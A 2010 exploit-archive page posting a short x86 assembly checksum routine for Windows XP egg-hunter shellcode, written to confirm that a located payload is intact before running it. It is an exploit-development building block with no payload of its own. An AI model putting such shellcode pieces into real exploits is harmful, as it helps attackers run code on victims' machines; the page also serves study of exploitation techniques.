win32/xp Checksum Routine shellcode 122 bytes
Posted on 02 September 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>win32/xp Checksum Routine shellcode 122 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================= win32/xp Checksum Routine shellcode 122 bytes ============================================= ;Exploit Title: Shellcode Checksum Routine ;Date: Sept 1 2010 ;Author: dijital1 ;Software Link: http://www.ciphermonk.net/code/exploits/shellcode-checksum.asm ;Tested on: Omelet Hunter Shellcode in MSF ;"|------------------------------------------------------------------|" ;"| __ __ |" ;"| _________ ________ / /___ _____ / /____ ____ _____ ___ |" ;"| / ___/ __ / ___/ _ / / __ `/ __ / __/ _ / __ `/ __ `__ |" ;"| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |" ;"| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |" ;"| |" ;"| http://www.corelan.be:8800 |" ;"| security@corelan.be |" ;"| |" ;"|-------------------------------------------------[ EIP Hunters ]--|" ;" -= Egg Hunter Checksum Routine - dijital1 =- " [BITS 32] ;Author: Ron Henry - dijital1 ;Email: rlh@ciphermonk.net ;Site: http://www.ciphermonk.net ;Greetz to Exploit-db and Team Corelan ;Ok... couple of assumptions with this code. First, we're using a single ;byte as the checksum which gives us a 1 in 255 or ~0.39% chance of a ;collision. ;We consider this a worthwhile risk given the overall size of the code; 18 bytes. ;There are a couple ways to implement this, but a good example is how it ;was used in Peter Van Eeckhoutte's omelet egghunter mixin that was recently ;added to the Metasploit Framework. ;We're using a 1 byte footer at the end of the shellcode that contains the ;checksum generated at shellcode creation. ; Variables eax: accumulator ; edx: points to current byte in shellcode ; ecx: counter egg_size equ 0x7a ;we're testing 122 bytes in this instance find_egg: xor ecx, ecx ;zero the counter xor eax, eax ;zero the accumlator calc_chksum_loop: add al, byte [edx+ecx] ;add the byte to running total inc ecx ;increment the counter cmp cl, egg_size ;cmp counter to egg_size jnz calc_chksum_loop ;if it's not equal repeat test_ckksum: cmp al, byte [edx+ecx] ;cmp eax with 1 byte checksum jnz find_egg ;search for another egg if checksum is bogus # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-02]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
